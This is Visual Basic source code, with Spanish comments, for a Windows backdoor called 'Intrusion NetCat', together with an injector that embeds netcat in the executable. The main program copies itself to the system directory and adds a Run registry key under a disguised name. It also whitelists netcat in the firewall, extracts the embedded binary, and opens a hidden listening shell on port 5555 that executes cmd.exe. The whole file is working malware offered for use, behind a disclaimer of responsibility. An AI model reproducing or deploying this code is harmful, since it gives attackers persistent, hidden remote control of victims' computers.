' Intrusion NetCat by YeIk0s
' No me responsabilizo de los malos usos que se le de a este código

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_SZ = 1
Public Const HKLM = &H80000002

Dim Car As String * 128, DirSystem As String, KeyFirewall As String, KeyRun As String, UrlPhp As String

Function RegistrySetValueData(MasterKey, Key, Value, ValueData)
Dim nBufferKey As Long
RegOpenKey MasterKey, Key, nBufferKey
RegSetValueEx nBufferKey, Value, 0, REG_SZ, ValueData, Len(ValueData)
End Function

Sub Main()
On Error Resume Next
DirSystem = RTrim$(LCase$(Left$(Car, GetSystemDirectory(Car, "128"))))
DirWindows = RTrim$(LCase$(Left$(Car, GetWindowsDirectory(Car, "128"))))
UrlPhp = "http://127.0.0.1"
KeyFirewall = "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List"
KeyRun = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

FileCopy App.Path & "\" & App.EXEName & ".exe", DirSystem & "\inc.exe"
RegistrySetValueData HKLM, KeyFirewall, DirSystem & "\nc.exe", DirSystem & "\nc.exe:*:Enabled:nc"
RegistrySetValueData HKLM, KeyRun, "NvCpIDaemon", DirSystem & "\inc.exe"

If Len(Dir(DirSystem & "\nc.exe")) = 0 Then
Dim Str1 As String, Str2 As String, NewFile As String, AllFile As String

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    AllFile = Space(LOF(1))
        Get #1, , AllFile
Close #1

Str1 = InStrRev(AllFile, "€ø§ø", -1)
Str2 = InStrRev(AllFile, "ø§ø€", -1)
NewFile = Trim(Mid$(AllFile, Str1 + 4, Str2 - Str1 - 4))
 

Open DirSystem & "\nc.exe" For Binary As #2
        Put #2, , NewFile
Close #1
End If

Call ShellExecute(hwnd, "Open", ("iexplore.exe"), UrlPhp, vbNullString, 0)
Shell "cmd.exe /c nc -L -p 5555 -e cmd.exe", vbHide

End Sub

' Inyector by YeIk0s

Option Explicit
Const signo1 = "€ø§ø"
Const signo2 = "ø§ø€"
Dim DirNC As String, DirINC As String, size As String * 1, i As Long

Sub Main()

DirNC = "C:\nc.exe" ' NetCat original
DirINC = "C:\inc.exe" ' Archivo donde inyectaremos el NC

Open DirNC For Binary As #1
   Open DirINC For Binary As #2
        Put #2, LOF(2) + 1, signo1
        For i = 1 To FileLen(DirNC)
            Get #1, i, size
            Put #2, LOF(2) + 1, size
        Next
        Put #2, LOF(2) + 1, signo2
    Close #2
Close #1
End Sub